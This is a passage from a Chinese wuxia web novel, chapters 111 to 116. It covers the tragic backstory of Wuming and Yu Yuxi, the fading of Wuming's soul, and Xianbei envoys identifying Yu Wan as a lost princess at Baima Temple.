这时左右侍卫说道:“时辰已到,走了。”话罢便强行拉着郁小姐离开,郁小姐一边走,还一边回头喊道:“千万别,摔破了!千万!千万!” 无冥双眼完全放空,喃喃道:“千万别摔破了?千万?别?摔破了?摔破了?摔破了!!!”无冥好像想到了什么似的,丢掉七魂剑,在身上的口袋里摸着什么东西。 见骷魅如此失常,众人皆是一脸诧异,不知发生了什么。 摸了半天,无冥从衣袖里摸出一个小葫芦来,正是郁雨曦当年送给他的那个,无冥拿着葫芦仔细看了一下葫芦全身,是个陶瓷做的,做工不是很精致,有些粗糙,葫芦口很小,看不见里面有些什么。无冥咬咬牙,狠下心来,将葫芦丢到了地上。 其他人不知道这葫芦的意义,可昭相雪和老瘸子知道啊,当下两人一脸震惊,不解其意。 只见陶瓷葫芦被摔得粉碎,而这葫芦中间,藏着两张小纸,上面似乎写着什么。无冥捡起来看了看,一边看着,眼角一边流下泪来,且越流越多,这次,他没用衣袖擦拭,而是任由泪水落下…… 这两张纸上,到底说了些什么呢? 第一百一十一章 郁雨曦 “小狐狸,你知道的吧,我喜欢你,真的很喜欢你,你也喜欢我的对吧……” 郁雨曦,郁家大小姐,说来也巧,小狐狸被拐卖到郁府的日子,正是郁雨曦出生的日子,只不过,郁小姐出生在乡下老家,一直由公公婆婆照顾着,直到五岁才被郁老爷接回郁府,郁雨曦还记得第一次见小狐狸时的场景: 那是郁雨曦刚回府的日子,马车稳当停靠在郁府门口,郁夫人和郁老爷在门口迎接着她,不过郁老爷看起来并不是很高兴。郁雨曦踩在一个奴隶的背上,准备下车,不料,一不留神,没踩稳,竟从那人背上摔了下来,顿时便放声大哭起来。 郁夫人见了,心疼得不得了,想要上前去扶,却被郁老爷拉了回来:“哭哭哭,哭什么,不就擦破点儿皮吗?有什么好哭。”接着数落道郁夫人:“都怪你不争气,生个破女儿,生个儿子多好!”话罢,郁老爷头也回,转身进去。 郁夫人看着地上大哭的郁雨曦,又心疼又怨恨,索性也狠下心,抛下女儿,转身去挽起郁老爷的手,赔礼道:“是是是,是我不争气,咱们再生一个不就好了,这个女儿,不要也罢,不要也罢。” 看着父母远去,郁雨曦哭的更伤心了,但周围家奴都没理她,皆若无其事退回府内,只有刚才那个“人凳子”向她伸出了手:“你没事儿吧。” 伸手的不是别人,正是小狐狸,那也是郁雨曦第一次见小狐狸,她抓住了小狐狸的手从地上站了起来,礼貌的说道:“谢谢你。” “进去吧,老爷和夫人都在等你呢。”小狐狸拉着郁雨曦的手向郁府走进。 郁雨曦全程看着眼前这个小少年,只觉眼前这人和她以往见到的所有人都不同,和他在一起,有一种莫名的舒适感、安全感。 相处之下,郁老爷才发现,郁雨曦年纪虽小,但已然精通了琴、画,同时,棋艺、书法上也是极具天赋,若是教育得当,大有成为一代才女的可能。另外,郁夫人后来虽怀过两次孕,但一次早夭、一次流产,之后便再没怀上过。所以,渐渐的,郁雨曦开始独得郁家恩宠。 郁老爷为了让郁雨曦成为一代才女,不惜花大价钱将郁雨曦送到退休大博士胡逢府上学习,当然,聪明勇敢的小狐狸也成了伴读童子,负责保护、照顾郁雨曦安危。那一年,郁雨曦十四岁,小狐狸十八岁。 在胡逢府中,可不止郁雨曦一人求学,还有很多达官显贵的后代都在此求学,其中,便包括八仙门主张黎的儿子——张旭。 郁雨曦琴棋书画样样精通,深得胡逢的喜爱,同时,容貌俏丽、仪态优雅的她也深受那些达官显贵弟子的追捧,前往郁府提亲的更是踏破了郁府的门槛。 不堪受扰的郁雨曦不想再待在胡府,于是在一天夜里,悄悄跟着小狐狸溜出了胡府,想偷偷回家,却不料在路上,遇到了三个穷凶极恶的匪徒,匪首拿着一把大刀,另外两人拿着棍棒,当下,将小狐狸和郁雨曦拦在一个小巷子里。 “站住,人可以走,把钱给我留下!”匪首提着长刀恐吓道。 涉世未深的郁雨曦哪见识过这些,瞬间全身发抖,双腿发软,满脸惊恐的看着小狐狸,拉着小狐狸,不知道该怎么办,小狐狸倒是沉着冷静,很是平静。 “小姐别怕,他们只是要钱罢了,把钱给他们便是!”小狐狸将身上包裹取下,扔给了对面匪徒。 一个拿棍棒的土匪接下,打开包裹翻了翻,里面金银细软倒还不少,接着对匪首说道:“大哥,发财了发财了。”一边说着,一边将包裹里的金银拿出来给匪首看,匪首笑着点点头。 “我们可以走了吗?”小狐狸语气谦卑的问道。 那两个小土匪全程在翻看着包裹,细数着金银,看都不看他们,低头说道:“去去去,赶紧走。” “谢谢各位大哥。”小狐狸刚要转身带着郁雨曦离去,匪首却突然发话了。 “等会儿!”匪首慢慢走近,将郁雨曦拉了回来,露出猥琐的笑容:“刚才隔得太远没看清,差点儿错过了绝世大美人儿啊。”另外两个土匪也停下动作,看着郁雨曦,露出猥琐的笑容,当下收起包裹,绑在肩上,向郁雨曦扑去。 匪首看了看年纪轻轻的小狐狸,不屑一笑,将刀插回腰间刀套里,另外两个土匪也放下了土棍,三个土匪一拥而上,上下其手,将郁雨曦按在墙上猥亵着,而郁雨曦一个小小弱女子除了哭喊求救外,什么也做不了。而穷凶极恶,色胆包天的土匪又岂会因为她的哭喊而停下恶行。 “小狐狸,救我!救我!”绝望的郁雨曦声嘶力竭的求救着,但只有十八岁的小狐狸,且手无寸铁,今时今刻又能干嘛呢? 说时迟那时快,小狐狸一个箭步冲过去,先从匪首身上抽出大刀来,没有丝毫犹豫,一刀、两刀、三刀,刀刀毙命、直击要害…… 此时的郁雨曦紧闭着眼,不知发生了何事,哭喊着,反抗着。小狐狸如释重负的长舒了口气,笑了笑,一把抱住郁小姐,安慰道:“我在这儿呢,没事儿了,没事儿了。” 听到熟悉的声音,郁雨曦睁开了眼,这才发现,那三名匪首已经倒在了地上,失去了知觉…… 回去的路上,郁雨曦双腿发软,小狐狸便将她背着前行,同时,也将自己的衣服脱下来,让郁小姐穿上。 郁雨曦依偎在小狐狸背上,神色镇定了些,小声说道:“平时看你挺温柔的,没想到,打起架来这么啊。” 小狐狸笑了笑:“郁小姐,我可不温柔,之前在铜家镇,也有两个土匪杀人劫财,我二话不说,拿着老爷的剑便和他们打,三下五除二,打死一个,打跑一个。” “真的假的?为什么在我的印象里,你是个温柔善良,沉稳讲理的人呢。” 小狐狸笑了笑也不接话,郁雨曦喃喃道:“小狐狸,该不会是,你只对我一人温柔吧!” 小狐狸楞了两秒:“小姐,你身份高贵,我只是个低贱的下人,哪敢凶你啊。” “你这话,什么意思,你的意思是说,如果我们两身份平等了,你就会凶我了是吗?”郁雨曦不悦道。 “不不不,小姐误会了,无论将来发生了何事,我永远会温柔对待小姐。” 郁雨曦听后,笑得分外灿烂:“小狐狸,答应我,以后只对我一人温柔,永远保护我,好吗?” “啊,为什么啊?” “哎呀,答应我嘛!我想听你这样说嘛!说句话又不会少块肉。” 小狐狸摇摇头,笑了笑:“我小狐狸对天起誓,今后,只对郁小姐一人温柔,生生世世,永远保护郁小姐!” “真好!”郁小姐情不自禁亲了一下小狐狸的脸庞…… 第一百一十二章 葫芦之下的真相 回到郁府后,郁雨曦经常有事没事儿的拉着小狐狸偷溜出去,老爷因常年在外出差,所以这事儿,他一直是睁一只眼,闭一只眼,直到有一天,八仙门门主张黎前来提亲。那天,郁老爷和张黎商谈了许久,谈得甚是欢心,最后的结论是,郁老爷答应了这门亲事,同意将小女嫁给张黎之子,张旭。 第一百一十二章郁老爷将小狐狸调到柴房去工作,接着,告诉了郁雨曦,要将她许配给张旭的事,没料到郁雨曦反抗激烈,大哭大闹,并不同意,郁老爷大怒,将她软禁在闺房之中,限制了她的出行。关了两个月,郁雨曦假装妥协,但作为条件,她要溜出去最后玩一玩,毕竟结了婚之后就没机会再出去玩了。见小女答应下来了,郁老爷自然得满足她最后这个愿望,之后的事,前面也讲过了,那天,郁雨曦和小狐狸在外面玩了许久,并在河边,互相倾诉了内心的真意,郁雨曦原计划便是假意妥协,实则是想让小狐狸带她私奔,哪知,关键时刻,小狐狸却犹豫了,最终,计划泡汤,两人被分开关了起来。 “爹,我不嫁,我根本就不喜欢那个张旭,我不想嫁给他!”郁雨曦关在闺房里,对屋外大喊道。 “曦儿,这事儿由不得你,我已经答应了张门主了,八仙门的势力你应该很清楚,我既然答应了他,自然不能反悔。” “是你自己要答应他的,我没答应过,要嫁,你自己嫁去!” “放肆,曦儿,自古婚姻大事,皆是父母之命,媒妁之言。这婚你结也得结,不结也得结!”话罢,郁老爷甩甩手离去。 “我不,你放我出去,我不嫁给他!我宁愿死也不嫁给他……”郁雨曦仍大吵大闹着。 次日大清早,郁老爷来敲郁雨曦的房门,敲了半天也没反应,索性直接推门闯入,推开门却看到郁雨曦再绑白菱,似乎是要上吊自尽。 郁老爷当即慌了:“曦儿,你这是干嘛啊!” “别过来,你们要我嫁给张旭,就是要逼死我,早死晚死都是死,我今天就死给你看。”郁雨曦话罢,摆出一副要上吊自尽的模样。 “别别,有话好好说。” 这时,郁夫人也进了屋,见状几欲晕厥:“曦儿,有话好说,你这是要吓死为娘吗?” “爹、娘,从小你们就不喜欢我,嫌弃我是个女孩儿,可这能怪我吗?是男是女又不是我能决定的,我从小就很听话、很懂事,你们让我学弹琴、我便刻苦学习弹琴,你们让我学画,我便刻苦学画,你们说什么我便做什么,从小到大,除了生成了女儿身以外,没有一件事再违逆过你们,可你们呢?你们有在乎过我吗?有考虑过我的感受吗?很多时候我都在怀疑,我到底是不是你们亲生的!” “放肆,你娘含辛茹苦,怀胎九个月才生下你,这十多年来,我们可曾有半分亏待过你,琴棋书画怎么就成了我们逼你学的了,很多人想学,他还没机会,没那条件学呢!你倒好,身在福中不知福!居然说出这等荒唐话来,你是想气死爹不成。” 看着郁老爷和郁夫人,郁雨曦眼角流下泪来:“爹,娘反正,如果你执意要我嫁给张旭,那我唯有以死报答你们的养育之恩了。” “好,死,都死吧,等你上了吊,我就去把小狐狸也杀了,到时候,再把你们两个葬在一起,这样你满意了吧!”郁老爷大怒道。 郁夫人拍打着郁老爷肩膀,哭喊道:“你说的什么胡话啊” 郁雨曦听了却急了,立马丢掉白菱,跪在地上,抓住郁老爷的手说道:“不要,爹,不要杀他,他是无辜的!” “无辜,这个世上没有谁是无辜的!只要你不答应这么婚事,那我保证,小狐狸他活不过今晚。” …… 最终,郁雨曦再次妥协,但要最后见小狐狸一面,也就是在这个时候,她送给了小狐狸一个礼物,小葫芦,葫芦里的两张纸,写着如下两段话: 小狐狸,你知道的吧,我喜欢你,真的很喜欢你,你也喜欢我的对吧,你知道吗?爹爹要我嫁给张旭,可是我跟本不喜欢他,我只想嫁给你!昨天晚上在河边,你为什么不带我走?为什么?你打那些匪徒时,命都可以不要,可为什么就没有勇气和远走高飞呢? 你知道吗?他们用你的性命要挟我嫁给张旭,我不得不从,当然,我还跟他们提了个条件,还你自由身。明天晚上,我们会在八仙楼举办婚礼,我听说,八仙楼的后厨有个密道,可以直通镇外,我在后厨等你,答应我,这次别再抛下我了,带我走,好吗? 无冥看完这两张纸,苦笑起来,他想起了当年郁雨曦骂他的场景,确实,说尽了尖酸话,但或许,这不过是为了转移他人的注意力,故意说给其他人听的罢了,这么多年来,他只记住了郁雨曦那段尖酸刻薄的话,却忘了昨天在林中,她对他的声声告白,忘了前天在河边,两人互相倾诉的段段真言,更往了这十余年来,两人在郁府度过的快乐时光。 那天,郁雨曦说完那段尖酸刻薄之话后,小狐狸被轰了出去,但全程看着自己,于是郁雨曦用唇语重复的说道:后厨,后厨!带我走!但遗憾的是,当时的无冥,显然没有注意到这些。 那天,新郎喝酒喝了很晚,回到新房,才发现新娘不见了,众人找了一晚上也没找到新娘下落,次日午时,才在后厨密道之内发现了郁雨曦,但此时的她,已经没了脉搏…… 无冥喃喃着,苦笑起来:“我真荒唐,我又不是只长了一双眼,为何只相信眼睛看到的,为什么不能用心去看呢?”一边说着,无冥的魂魄一边再向四周消逝着…… 老瘸子见了一愣:“心结解了吗?” 第一百一十三章 此情可待成追忆 无冥魂力渐渐消散,微笑着对昭相雪说道:“昭相雪,其实,我很羡慕你和那位婉儿姑娘,你们在爱情中很勇敢,也很执着,互相都深信着对方,你可千万不要不学我,畏首畏尾,空负韶华,最后,还怨天尤人,报复社会!”无冥抬头向天苦笑几声:“曦儿,天下第一不过是个名号耳,在你眼里,你该是希望我能做个凡人,跟你浪迹天涯、四海为家的吧。”话罢,眼睛一闭,仍由泪水流下:“原来,刻骨铭心的感情,我也曾拥有过”。七派高手,你看我,我看你,皆一头雾水,不敢上前。 唯有昭相雪喃喃道:“本是青灯不归客,却因浊酒恋红尘。此程唯有清风伴,岁月何负有心人!” 此时无冥的魂力渐渐消散,而骷魅的灵魂却还躲藏着。 只见幻境中,骷魅站在一块杂草丛生,荆棘密布的草坝之上,左边,是一点儿枫叶都没有的枫树林,右边是残壁断垣的破旧小院。再远些,则是一望无际的江河。毫无疑问,这是黄骷岛,但这黄骷岛的环境,看起来比现实生活中黄骷岛的环境还要荒芜。 “为什么我要来这里?为什么?放我出去!” “骷魅,毁了这个地方,这个地方早就已经破败了,毁了它,就像当年一样,毁了它!毁了它!”一个阴沉的声音回荡在四周。 “不,你是谁!出来!” “你毁了这个地方,便能走出困境,走出……”话说了一半,却戛然而止了。 只见一个二十五岁的翩翩少年,穿着青色长衫站在骷魅身前。 “你是谁?”骷魅看到眼前突然出现个人,警觉的向后退了两步。 “小子,我是你祖师公——无冥”白衣少年说道。 “无冥祖师?”骷魅满脸疑惑。 无冥悔恨道:“对不起,骷儿,是我太自私了,害了你!都怪我,只求我的悲剧,不要在你的身上重演,希望,为时还不算太晚!” 原来,十多年前,骷魅打开盒子,看见万幻珠时,无冥残念见骷魅资质极佳,便窜入了骷魅体内,控制了他的思想,将骷魅和慕容洵相恋的经历封存了起来,同时,利用骷魅“父亲新丧”心理防御极其低下,所以又将自己、还有历代掌门光复魅影教,统一中原武林的宏愿灌输给骷魅,强行将其变成了一个杀人机器。 无冥本以为,十八岁便突破万幻影诀第八重的人,突破第九重应该最慢不超过三年才对,哪知道,等了十几年也没能突破这第九重的心劫,因为,统一中原本就不是骷魅的心愿,无冥强行让骷魅违背自己的意志,当然是突破不了第九重的。无奈之下,无冥只好“帮”骷魅一把,强行用自己的意志,帮骷魅将万幻影诀第九重突破了,但这样做有一个弊端,那便是幻影之术,只能幻化出一个分身,同时,内力相对第八重,也并没有提升太多,不过,好在终于进入化境! 当下,无冥心结已解,方才觉得愧对后代,所以在魂力消散之际,特底前来收回之前封存骷魅记忆的法术。 无冥双手一挥,骷魅晕了过去,原本荒芜的黄骷岛渐渐变得充满了生机,回归原样。 终于,无冥的魂力全数散去,骷魅双腿一软倒在地上,众人见状,互相看了看,向骷魅围去。 四米、三米、两米,渐渐逼近骷魅,各个都将内力注入拳掌之中,准备在逼近骷魅之后,合力击杀掉骷魅。 突然骷魅睁开眼,猛的一拍地面,骷魅脚下的方寸之地快速窜起,将骷魅带到了六、七米高的空中。 骷魅看了看周围的七派高手,一脸懵逼,摇摇头也不理睬,化作一团黑烟消失了…… 浮生方丈还欲追赶,却被蔡彧一把拉住:“穷寇莫追,如今我们手无寸铁,追上了,也打不过他。” 展平捡起地上的七魂剑,不解道:“这骷魅应该是认识七魂剑的吧,这么好的武器,他就算自己不用,也没理由留给我们啊。” “这骷魅独闯白马寺,到底有何阴谋?”章玄。 “不好,秋殇大师、谷掌门他们有危险。”杜菱突然惊道,众人也是一惊,赶紧冲下山去。 只有昭相雪摇摇头,笑了笑,不紧不慢的下了山。 躲在暗处观看的老瘸子喃喃道:“昭相雪为何会和无冥待在一起,以他的心性,断不会做奸邪这事啊,哎,算了,我一个糟老瘸子,管这些闲事干嘛。” 另一边,骷魅并没有像众人想的那样,对谷月清他们下手,此时此刻,他只有一件事要办——快速前往黄骷岛。 只见骷魅持续使用,瞬身术,朝着黄骷岛飞速移动着:“再快些!再快些!我已经慢了十六年了!不能再慢了!”瞬身术施展后,人飞速前进着,泪滴却留在了沿途。 并州,一座溪流旁边,一个男子正在溪边烤鱼,烤了半天,才烤好三条,接着他拿着烤好的三条鱼走进一山洞内,放在一紫袍老者旁边,说道:“姑爷,鱼烤好了!” “好,你也来吃点儿吧,吃完,我们就该回乌桓找丘力居了。” “姑爷,不练功了吗?” 那老者摇摇头,冷言道:“不用练了,已经成了……” 只见紫袍老者身前放着一物,正是之前遗落的“万幻珠” 而这个烤鱼的男子也不是别人,正是凌云谷弟子公孙笠。 这位紫袍老者身份也不寻常,正是早该“身亡”的魅影前左使鬼岐。 第一百一十四章 不速之客 白马寺: 大殿内,众派高手聚在一起商议着今早发生的怪事。 章玄:“司州与乌桓相隔千里,骷魅突然出现在此,莫不是意味着魔教其他妖人也已潜入中原了。” 蔡彧摇摇头:“我看,不见得。” 杜菱:“草野一战,魅影教的伤亡并不比我等少,千里迢迢带着伤疾潜入中原,只怕,捞不到什么好处吧。” 杜冥:“难不成,骷魅他是孤身一人?岂有此理,这也太瞧不起咱们中原武林了吧!” 浮生:“眼下,谷掌门与秋殇师兄皆重伤,骷魅若真想找事,恐怕我等也无应对之法啊。” 众皆不语,展平环顾四周,问道众人:“哎,盟主呢?” 蔡彧道:“说起来,今早在后山见过盟主一面后,已经有大半天没见过他了。” 林奕湘:“盟主会不会去看望于姑娘了,杜济,你见过盟主吗?” 杜济:“不知道啊,我今天一直在药房配药,于姑娘一直是由豫蛇教的江姑娘照看的。” 众人闻言,看向杜菱。 杜菱尴尬一笑,轻轻点了点头。 章玄恼道:“岂有此理,整天待在女子闺房,哪儿有个盟主样!” 杜冥:“就是!大敌当前,不思退敌之策整天不是玩失踪,就是陪着那个叫于婉的丫头,真是荒唐至极,蔡彧,这就是你推的好盟主?” 蔡彧面色难看,唉声叹气,也不辩解。 角落里,枯恂起身欲要讲话,身边苏起将他拉了下来,摇摇头,示意他不要多事。 熙熙攘攘间,一小僧走近。 “住持,外面来了好多胡人。” 众人闻言立马紧张起来。 浮生道:“别慌,司隶乃是皇权所属,那些胡人应该不是魅影教的,肯定有误会,我先出去看看。” 展平道:“一起吧,万一真是魅影教的妖人呢!” 白马寺外,三十多个胡人列队整齐,温雅有礼,似乎在迎接着谁。 众人见状大惊,说起来,还没见过胡人摆出过这等礼节呢。 “浮生住持,在下鲜卑族人轲比能。” “鲜卑人?”浮生点点头,面色和善了些,众人也松了口气。 “有什么事吗?” 浮生话音刚落,那位叫轲比能的鲜卑人突然跪了下来,身后众多鲜卑人也都跟着跪了下来。 “我等不远万里前来中土,只求寻回皇族后裔!请浮生住持帮忙,找个人。” 浮生大惊,哪受得起如此大礼,立马扶起为首的轲比能:“快快请起,快快请起,何故行此大礼,帮忙找个人又不是什么难事,经管说好了。” “浮生住持真的愿意帮忙吗?” “当然,在下知无不言。” 那轲比能一脸欣喜:“我要找的是一名女子,大概有二十四岁左右,名叫——于婉。” “于婉?!”众人一头雾水,完全不知道江湖上还有这号人物。 然而,杜菱与展平却是一惊!他们要找于婉?皇族后裔于婉?!等等,说不定是重名也不一定。 杜菱道:“你恐怕是找错地方了,我们并不认识什么于婉啊!” 浮生也点了点头:“没错,我们确实不认识那位名叫于婉的女子。” “不可能,我的手下从两个多月前便一路跟着她,一直到住进这白马寺。” 章玄大笑起来:“荒谬,照你的意思,咱们这两个多月的行踪,你岂不是了如指掌,那你且说说看,我们这两个多月,究竟去了什么地方?” 众人不屑一笑,料定这个鲜卑人在撒谎,必然答不上来,哪知,那轲比能竟说出两个字来:“乌桓!” 众皆骇然,难不成,真的有眼线跟了他们两个多月? 章玄闻言立马拔剑指向轲比能,武林中人也不迟疑,皆握紧武器,等待厮杀! 轲比能道“误会,误会,鲜卑人并没有要与中原人为敌的意思,误会一场。”轲比能语气和善,一脸微笑,似乎真没有敌意。 二十七前,鲜卑出了个名叫檀石槐的首领,在弹汗山和歠仇水畔建立王庭。他统领下的鲜卑东败夫余,西击乌孙,北逐丁零,南扰汉边,尽有匈奴故地,东西万二千余里,南北七千余里,网罗山川、水泽、盐池甚广。建立起一个强盛的鲜卑部落大联盟。 檀石槐统治时期,用汉人谋议,定法律,锻冶兵器、工具,俘倭人“令捕鱼以助粮食”,促进了鲜卑社会发展。但由于当时形势所限,鲜卑尚不是一个统一的民族,181年,檀石槐逝世,其子和连继位,他不仅才干和能力不如他的父亲,而且贪财好色,后来在进攻北地时,被北地人射死。紧接着,联盟瓦解,鲜卑又分为许多互不相属的分支。 檀石槐有一妹:檀溪霖,二十八年前来到中原,改名希霖,结识了五位挚友,时称青翼六侠,后来,她嫁给了一位复姓司寇,单名一个箫字的中原男子,产下一女,复姓司寇,单名一个晨字。 继檀石槐之子和连死后,鲜卑分叛为多个部落,内乱日益严重,各相攻伐,谁也不服谁。为了恢复檀石槐在世时,鲜卑王朝强盛的光景,一些有识之士聚在一起,商讨措施,最终,一致认为,唯有借用檀石槐的影响力,才能将分离的部落重新聚合在一起,但眼下和连已死,且膝下无子,众人无奈,只好找远亲,于是辗转千里,来到了中原。 但他们万万没有料到,司寇氏,早在十六年前便已被官方查封了,阉党找了十几年都找不到的人,他们哪儿能找到。 然而,说来也巧,找了几个月后,他们竟真查出些蛛丝马迹来…… 第一百一十五章 皇族后裔——于婉 眼下,那轲比能虽是一脸微笑,但他身后的侍卫都拔出了利剑警戒,双方剑拔弩张,形式岌岌可危。 “误会,误会,天大的误会!”人群中,走出一人,乃是听风阁十二散修榜中第三位——柳城双刀:鞠衍 鞠衍,乃是檀石槐的旧友,二十八年前,鲜卑部落尚处在动乱之中,檀石槐遂让鞠衍将希霖带离鲜卑,那马一路南下,最终来到中原,由于鞠衍管教太严,希霖不服管教,设计偷偷溜走,后来,希霖结实司寇箫、展平、杜菱等人,号称青翼六侠,并一起创立了青翼派。鞠衍则游历四方,寻找公主,二十八年来,从未断绝,公主没找到,多年来行侠仗义的事迹却让他在江湖闯出了名头,前面说过,鞠衍背上,永远背着一青一粉两把宝刀,尽管他永远只使用青色的那把,但粉色的那柄宝刀却也一直背在身上——那柄粉色的宝刀,正是公主的挚爱佩刀。 当下,柳城双刀出来向众人说明了事情的大致经过,原来,那枚耳饰正是当年公主的信物!鞠衍毕竟在中原待了二十八年,听风阁十二散修榜中排名第三,说话,还是有几分份量的。 最终,众人同意让轲比能一人进寺,寻找那位名叫于婉的女子。 杜菱小声说道:“早看出六妹仪态不凡,原来是皇族之后。” 展平摇了摇头道:“此正值多事之秋,不可大意,待会儿,你还得替晨儿好好确认此事的真伪才行。” 杜菱点点头。 轲比能进寺后,杜菱自告奋勇,负责监视轲比能与柳城双刀——鞠衍,他们被允许入住白马寺一日,明日此时,找没找到公主,都得自行离开。 “鞠衍,你是公主的侍卫,那么你可知道公主的姓名?” “嗯,公主本名檀溪霖,檀木之檀,溪流之溪,霖,雨三日以往也。” “檀溪霖?” …… “大哥、二哥、三哥、四姐、五哥好,在下柳城人士——姓希名霖,因为我出生前,一连下了三天的大雨,所以父亲给我取了个霖字。” 玄甲王延道:“名字还好,不过这姓,希?好怪的姓啊。” 司寇箫当即朝王延头部拍去一掌:“那儿古怪了,不会讲话就少讲,岂不知,物以稀为贵,姓以希为珍。” “说得好!说得好!”展平、杜菱相视一笑,立马拍手叫好起来,旁边张及与王延也立马跟着鼓起掌来。 司寇箫满眼柔情看向希霖,希霖则羞红了脸,低下头去。 …… 杜菱小声嘀咕道:“溪霖,希霖,或许,真是同一人。” 鞠衍道:“青菱师太,难不成,你认识公主?” 杜菱笑了笑,并不回答,向前走去。 鞠衍追问道:“青菱师太此事关乎我族存亡大事,还请师太鼎力相助。” 杜菱扫视了鞠衍一番,看起来,倒不像是有诈:“我确实认识一个叫希霖的女子,但不知此希霖与那位公主是不是同一人,况且,霖妹已死去多年。” 鞠衍道:“死了?怎么会?” 科比能追问道:“那她有没有留下子嗣?或者,留下什么信物?” 杜菱道:“你们等我下。” 杜菱从于婉房中,取出那枚耳饰,展示给众人,鞠衍点点头,亦从贴身衣袋中取出一物,同样是一枚精美耳饰,两只耳坠的材质、款式、外貌都一摸一样,显然,这是一对。 鞠衍与轲比能见状立马跪下:“请师太救救鲜卑吧!” 青菱师太立马将两人扶起,看向身边的展平,展平点了点头。 “随我来吧,我带你们去见于婉。” 众人来到一偏院,只见屋外门口,一男子坐在地上打瞌睡,男子姓陈名昭,屋中所住之人,正是于婉。 “盟主?醒醒,盟主。”杜菱上前将昭相雪摇醒。 昭相雪惊醒过来,这才发现前面竟站了四个人,展平、杜菱自是不必介绍,不过那两个外族人士,他却并不认识。 展平提醒道:“盟主,你现在可不是一个闲人啊,中原武林的安危可全在你的一念之间,婉儿我们会照顾好的,你不必太过担忧。” 昭相雪摇摇头,满脸苦恼:“婉儿昏迷这么久了,我能不担忧吗?” 展平叹息几声,还欲再言,昭相雪道:“前辈放心,我知道轻重的。”话罢,回头朝里屋瞥了几眼,无精打采的离去。 展平道:“想不到,昭相雪如此痴情,也不知,选他做盟主是对还是错。” 杜菱白了他一眼,一边推开门,一边说道:“有情有义才是真正的大侠,不像某些人,一别就是十六年,连封信都懒得寄,还不如死了好。” 展平尴尬一笑:“这也不能全怪我啊,我听说你不是掉……”展平正欲细说往事,杜菱一把捂住他的嘴,向后扫去一眼,展平这才意识到后面还有两个外族人,便不再多言。 鞠衍与轲比能看到床上躺着的于婉,立马弯腰行礼:“参加公主。” 礼毕,细下一聊,才知于婉受了重伤,已经昏迷了近三周了。 轲比能悲痛道:“到底是何人如此狠毒,竞对一个女子下此狠手!让我找到,我非扒了他的皮不可!” 展平道:“魅影教——骷魅。” “骷魅?!”轲比能闻言大惊,半句不再提报仇之事。“公主大人,你受苦了啊,青菱师太,公主她何时能醒啊?” 杜菱摇了摇头:“这说不准,杜济说了,运气好,现在就能醒来,运气不好,躺一辈子都说不准。” 轲比能一脸惶恐,低头叹息几声。 鞠衍则满脸自责,看着脆弱的于婉,自言自语道:“她长得可真像公主啊。”话罢,眼角不自觉滴下泪来,但很快便被抹去,接着,他从衣袖中取出一个竹笛来,那竹笛有些年头了,很破旧,但仍不失美观。 鞠衍看着竹笛笑了笑,自顾自的吹了起来。 很快,一阵清脆的笛音扬起,音韵悠游柔转,悦耳动听,听者宛若置身于草原之上、牛羊之间,天苍地茫,云过风扬,恍恍乎若携羽御风,飘飘乎若踏云登仙。随着笛音的婉转变幻,脑海中的景物亦跟婉转变幻起来,当年,希霖也喜欢吹竹笛…… “娘!”众人听得正入神,一女子的声音传来,将他们惊醒,鞠衍也立马停了下来。 竟是于婉醒了! “娘!娘!别再丢下我了,求求你了。” 众人见状大喜。 鞠衍与轲比能立马弯腰行礼:“公主,你终于醒了。” 杜菱上前,抓住于婉的手:“晨儿,你终于醒了,吓死我了你。” 展平看着于婉也不多话,只是傻傻的笑着。 于婉道:“菱姨,展叔,我好渴啊。” 鞠衍闻言,立马拿起桌上茶壶,往旁边茶杯里倒满,递给了杜菱。 杜菱接过后,小心翼翼喂于婉喝下。 “菱姨,他们两个是谁啊?为何在我房中?” “这……”杜菱怕说错话,看着那两个鲜卑人道:“还是你们俩自己来解释吧。” “在下鞠衍,乃是檀石槐可汗妹妹的护卫。” “在下轲比能,乃是檀石槐可汗的护卫。” “菱姨,檀石槐是谁呀?我好像不认识他们啊。” 杜菱笑了笑:“别急,让他们说完。” …… 第一百一十六章 闲话往事 “这么说来,我真是鲜卑的公主?”于婉一觉醒来,身世发生翻天覆地的变化,从平民子弟变成了皇族后裔,想想,还有点儿小兴奋呢。 鞠衍与轲比能同时点点头,杜菱展平则笑了笑,也不否认。 “你们再多讲讲我娘的故事呗,我好想知道我娘到底是怎样的人啊,你们再多讲讲吧。” 众人笑了笑,轮番追忆起往事…… 另一边,昭相雪刚回书房坐下没多久,枯恂便兴冲冲的跑了过来。 “昭兄,好消息,好消息啊。” “枯兄,你就别逗我了,自我担任盟主以来,各种消息都有,唯独没有好消息。” 枯恂笑了笑:“哎,我可没逗你,这次,真是天大的好消息!” “好了好了,快说吧,又给我找了什么差事。” “哪有那么多差事,我告诉你,小师妹醒了,你快去看看吧。” 昭相雪疲惫的点点头,条件反射道:“好好好,知道了知道了。”突然,他抬起了头,精神瞬间高涨,两手紧紧抓住枯恂,大笑道:“枯兄,你刚才说什么?婉儿她醒了?婉儿醒了?” 枯恂点点头:“是啊,小师妹醒啦!” 昭相雪满脸欣喜,立马松开手,朝于婉的厢房跑去,还没跑出书房便被枯恂拦了下来。 “等等,你想好怎么跟婉儿说了吗?她的心已经死过一次了,我可不想她再死第二次。”枯恂一改平日笑脸,严肃的问道。 昭相雪听罢,停下脚步,自嘲一笑:“我早就想好了,于婉是我这辈子最爱的女人,无论如何我都不会再退缩了,这一次,我要告诉她,今生今世,我唯她不娶!” 枯恂笑了笑:“好,有种,不亏的我小师妹喜欢的男人。”话罢,放下手,不再阻拦昭相雪。 昭相雪与枯恂一路快跑,很快来到于婉住处,却是连大院都入不了,院门口,几位豫蛇教弟子将两人拦下。 “师傅吩咐过了,于姑娘刚刚醒来,谁也不能进去。” 枯恂道:“劳烦通报一下,就说盟主还有于婉的师兄枯恂求见。” 那些弟子恭恭敬敬的低下头,却没有一个去通报的。 “你们怎么回事,快去通报啊。” 这时,江雨潇从院里走出,将两人拉至外边角落,小声说道:“你们还是先别进去了。” “为何啊,小师妹好不容易醒来,见一面都不许吗?” “没错,我不会打扰婉儿休息的,只见一面就好,只要看见她安好便是。” 江雨潇摇了摇头:“不是那个意思,枯恂,你知道的,今天中午,寺门外不是来了很多鲜卑人吗” “这我当然知道了,他们是来找公主的,说起了,他们也是锈逗了,咱们全是练家子,个个习武出身,哪儿会有娇滴滴的小公主啊,浮生方丈不是放了两个鲜卑人进来嘛,怎么,他们找到公主了?” 江雨潇点了点头。 “真的假的?谁啊?”枯恂开玩笑道:“不可能是小师妹吧,不对,应该首先排除掉小师妹,哪会有这么皮的公主嘛。” 不料,江雨潇却满脸的严肃:“枯恂,公主就是于姑娘。” 